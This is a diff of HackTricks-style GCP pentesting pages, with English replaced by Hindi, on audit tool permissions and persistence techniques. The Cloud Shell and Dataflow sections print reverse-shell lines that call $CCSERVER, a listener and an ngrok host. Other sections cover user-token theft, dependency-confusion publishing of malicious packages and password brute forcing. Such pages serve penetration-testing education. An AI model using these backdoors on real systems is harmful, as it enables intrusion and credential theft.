||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
```
|
||||
|
||||
## Individual tools permissions
|
||||
## व्यक्तिगत उपकरणों की अनुमति
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
|
||||
|
||||
```
|
||||
From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration
|
||||
|
||||
@@ -61,9 +56,7 @@ roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/secretmanager.viewer
|
||||
```
|
||||
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions)
|
||||
|
||||
```
|
||||
From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions
|
||||
|
||||
@@ -71,60 +64,56 @@ roles/Viewer
|
||||
roles/iam.securityReviewer
|
||||
roles/stackdriver.accounts.viewer
|
||||
```
|
||||
|
||||
### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration)
|
||||
|
||||
```
|
||||
From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration
|
||||
|
||||
includedPermissions:
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
```
|
||||
|
||||
### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
|
||||
### [कार्टोग्राफी](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
```
|
||||
From https://lyft.github.io/cartography/modules/gcp/config.html
|
||||
|
||||
@@ -132,9 +121,7 @@ roles/iam.securityReviewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/resourcemanager.folderViewer
|
||||
```
|
||||
|
||||
### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md)
|
||||
|
||||
```
|
||||
From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
|
||||
|
||||
@@ -143,6 +130,3 @@ roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - स्थिरता
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## API Keys
|
||||
|
||||
For more information about API Keys check:
|
||||
API Keys के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
### नया बनाएं / मौजूदा तक पहुँचें
|
||||
|
||||
Check how to do this in:
|
||||
यह करने के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
App Engine के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,14 +12,10 @@ For more information about App Engine check:
|
||||
|
||||
### Modify code
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
यदि आप एक चल रही संस्करण के कोड को संशोधित कर सकते हैं या एक नया बना सकते हैं, तो आप इसे अपने बैकडोर को चलाने और स्थिरता बनाए रखने के लिए बना सकते हैं।
|
||||
|
||||
### Old version persistence
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
**वेब एप्लिकेशन का हर संस्करण चलने वाला है**, यदि आप पाते हैं कि एक App Engine प्रोजेक्ट कई संस्करण चला रहा है, तो आप **एक नया बना सकते हैं** जिसमें आपका **बैकडोर** कोड हो, और फिर **एक नया वैध** बना सकते हैं ताकि अंतिम वाला वैध हो लेकिन एक **बैकडोर वाला भी चल रहा होगा**।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+17
-21
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
Artifact Registry के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,35 +12,31 @@ For more information about Artifact Registry check:
|
||||
|
||||
### Dependency Confusion
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
- क्या होता है अगर एक **remote और एक standard** repositories **एक virtual** में **मिश्रित** हो जाएं और एक पैकेज दोनों में मौजूद हो?
|
||||
- **वर्चुअल रिपॉजिटरी** में सेट की गई **उच्चतम प्राथमिकता** वाला पैकेज उपयोग किया जाता है
|
||||
- अगर **प्राथमिकता समान है**:
|
||||
- अगर **संस्करण** **समान** है, तो **वर्चुअल रिपॉजिटरी** में **नीति नाम वर्णानुक्रम में** पहले उपयोग किया जाता है
|
||||
- अगर नहीं, तो **उच्चतम संस्करण** का उपयोग किया जाता है
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
> इसलिए, यदि remote repository की प्राथमिकता उच्च या समान है, तो एक सार्वजनिक पैकेज रजिस्ट्री में **उच्चतम संस्करण (dependency confusion)** का **दुरुपयोग** करना संभव है
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
यह तकनीक **persistence** और **unauthenticated access** के लिए उपयोगी हो सकती है, क्योंकि इसका दुरुपयोग करने के लिए केवल **Artifact Registry** में संग्रहीत **लाइब्रेरी का नाम** जानना और **सार्वजनिक रिपॉजिटरी (उदाहरण के लिए, Python के लिए PyPi)** में उसी लाइब्रेरी को उच्च संस्करण के साथ बनाना आवश्यक है।
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
**Persistence** के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
- **आवश्यकताएँ**: एक **वर्चुअल रिपॉजिटरी** का **अस्तित्व** होना चाहिए और इसका उपयोग किया जाना चाहिए, एक **आंतरिक पैकेज** जिसका **नाम** **सार्वजनिक रिपॉजिटरी** में मौजूद नहीं है, का उपयोग किया जाना चाहिए।
|
||||
- यदि यह मौजूद नहीं है तो एक remote repository बनाएं
|
||||
- वर्चुअल रिपॉजिटरी में remote repository जोड़ें
|
||||
- वर्चुअल रजिस्ट्री की नीतियों को संपादित करें ताकि remote repository को उच्च प्राथमिकता (या समान) दी जा सके।\
|
||||
कुछ ऐसा चलाएं:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- वैध पैकेज डाउनलोड करें, अपने दुर्भावनापूर्ण कोड को जोड़ें और इसे उसी संस्करण के साथ सार्वजनिक रिपॉजिटरी में पंजीकृत करें। हर बार जब एक डेवलपर इसे स्थापित करता है, तो वह आपका पैकेज स्थापित करेगा!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
Dependency confusion के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
BigQuery के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
@@ -12,14 +12,10 @@ For more information about BigQuery check:
|
||||
|
||||
### Grant further access
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
समझौता किए गए उपयोगकर्ताओं या बाहरी उपयोगकर्ताओं को डेटा सेट, तालिकाओं, पंक्तियों और कॉलमों पर आगे की पहुंच प्रदान करें। आवश्यक विशेषाधिकारों की जांच करें और इसे करने के तरीके के लिए पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+4
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
Cloud Functions के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,12 +12,8 @@ For more info about Cloud Functions check:
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
- **Cloud Function का कोड संशोधित करें**, यहां तक कि केवल `requirements.txt`
|
||||
- **किसी को भी** एक कमजोर Cloud Function या एक बैकडोर को कॉल करने की अनुमति दें
|
||||
- **जब कुछ होता है** तो एक Cloud Function को ट्रिगर करें ताकि कुछ संक्रमित हो सके
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Cloud Run के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,14 @@ For more information about Cloud Run check:
|
||||
|
||||
### Backdoored Revision
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
Run Service का एक नया backdoored संशोधन बनाएं और कुछ ट्रैफ़िक को इसके लिए विभाजित करें।
|
||||
|
||||
### Publicly Accessible Service
|
||||
|
||||
Make a Service publicly accessible
|
||||
एक Service को सार्वजनिक रूप से सुलभ बनाएं
|
||||
|
||||
### Backdoored Service or Job
|
||||
|
||||
Create a backdoored Service or Job
|
||||
एक backdoored Service या Job बनाएं
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,62 +12,52 @@ For more information check:
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) आपको आपके क्लाउड संसाधनों तक सीधे आपके ब्राउज़र से कमांड-लाइन पहुंच प्रदान करता है, बिना किसी संबंधित लागत के।
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
आप **वेब कंसोल** से या **`gcloud cloud-shell ssh`** चलाकर Google का Cloud Shell एक्सेस कर सकते हैं।
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
इस कंसोल में हमलावरों के लिए कुछ दिलचस्प क्षमताएँ हैं:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **कोई भी Google उपयोगकर्ता जिसे Google Cloud तक पहुंच है** एक पूरी तरह से प्रमाणित Cloud Shell उदाहरण तक पहुंच रखता है (सेवा खाते, यहां तक कि संगठन के मालिक होने पर भी)।
|
||||
2. कहा गया उदाहरण **कम से कम 120 दिनों तक अपने होम डायरेक्टरी को बनाए रखेगा** यदि कोई गतिविधि नहीं होती है।
|
||||
3. उस उदाहरण की गतिविधि की निगरानी के लिए **किसी संगठन के लिए कोई क्षमताएँ नहीं हैं**।
|
||||
|
||||
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में कम से कम GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर को हर बार इसे चलाने पर एक शेल मिलेगा बस ऐसा करके:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **जब पहली बार कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में देखा गया:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
हालांकि, यदि उपयोगकर्ता ने सक्रिय रूप से क्लाउडशेल का उपयोग किया है, तो पॉप-अप नहीं दिखाई देगा और आप **उपयोगकर्ता के टोकन एकत्र कर सकते हैं**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### SSH कनेक्शन कैसे स्थापित किया जाता है
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
बुनियादी रूप से, इन 3 API कॉल का उपयोग किया जाता है:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (यह आपको आपके द्वारा स्थानीय रूप से बनाए गए सार्वजनिक कुंजी को जोड़ने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह आपको इंस्टेंस शुरू करने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको गूगल क्लाउड शेल का आईपी बताएगा)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं।
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
Cloud SQL के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
### डेटाबेस को एक्सपोज़ करें और अपने IP पते को व्हitelist करें
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
एक डेटाबेस जो केवल एक आंतरिक VPC से सुलभ है, उसे बाहरी रूप से एक्सपोज़ किया जा सकता है और आपके IP पते को व्हitelist किया जा सकता है ताकि आप इसे एक्सेस कर सकें।\
|
||||
अधिक जानकारी के लिए तकनीक देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
### एक नया उपयोगकर्ता बनाएं / उपयोगकर्ता का पासवर्ड अपडेट करें / एक उपयोगकर्ता का पासवर्ड प्राप्त करें
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
एक डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस द्वारा एक्सपोज़ किए गए पोर्ट** और एक **उपयोगकर्ता नाम** और **पासवर्ड** की आवश्यकता है। पर्याप्त **अधिकारों** के साथ आप **एक नया उपयोगकर्ता बना सकते हैं** या **एक मौजूदा उपयोगकर्ता का पासवर्ड अपडेट कर सकते हैं**।\
|
||||
एक और विकल्प होगा **एक उपयोगकर्ता के पासवर्ड को ब्रूट फोर्स करना** कई पासवर्ड आजमाकर या डेटाबेस के अंदर उपयोगकर्ता के **हैश किए गए** पासवर्ड तक पहुँचकर (यदि संभव हो) और उसे क्रैक करके।\
|
||||
याद रखें कि **GCP API का उपयोग करके एक डेटाबेस के उपयोगकर्ताओं की सूची बनाना संभव है**।
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
> यदि आपके पास पर्याप्त अनुमतियाँ हैं तो आप GCP API का उपयोग करके या डेटाबेस के अंदर से उपयोगकर्ताओं को बना/अपडेट कर सकते हैं।
|
||||
|
||||
For more information check the technique in:
|
||||
अधिक जानकारी के लिए तकनीक देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Compute
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
@@ -12,12 +12,8 @@ For more informatoin about Compute and VPC (Networking) check:
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
- मौजूदा VMs में बैकडोर
|
||||
- डिस्क इमेज और स्नैपशॉट में बैकडोर नए संस्करण बनाना
|
||||
- एक विशेषाधिकार प्राप्त SA के साथ नई सुलभ इंस्टेंस बनाना
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
### निर्मित कंटेनर में अदृश्य स्थिरता
|
||||
|
||||
[**दस्तावेज़ से ट्यूटोरियल**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) का पालन करते हुए, आप एक नया (जैसे कि python) फ्लेक्स टेम्पलेट बना सकते हैं:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -19,39 +18,32 @@ gcloud storage buckets create gs://$REPOSITORY
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
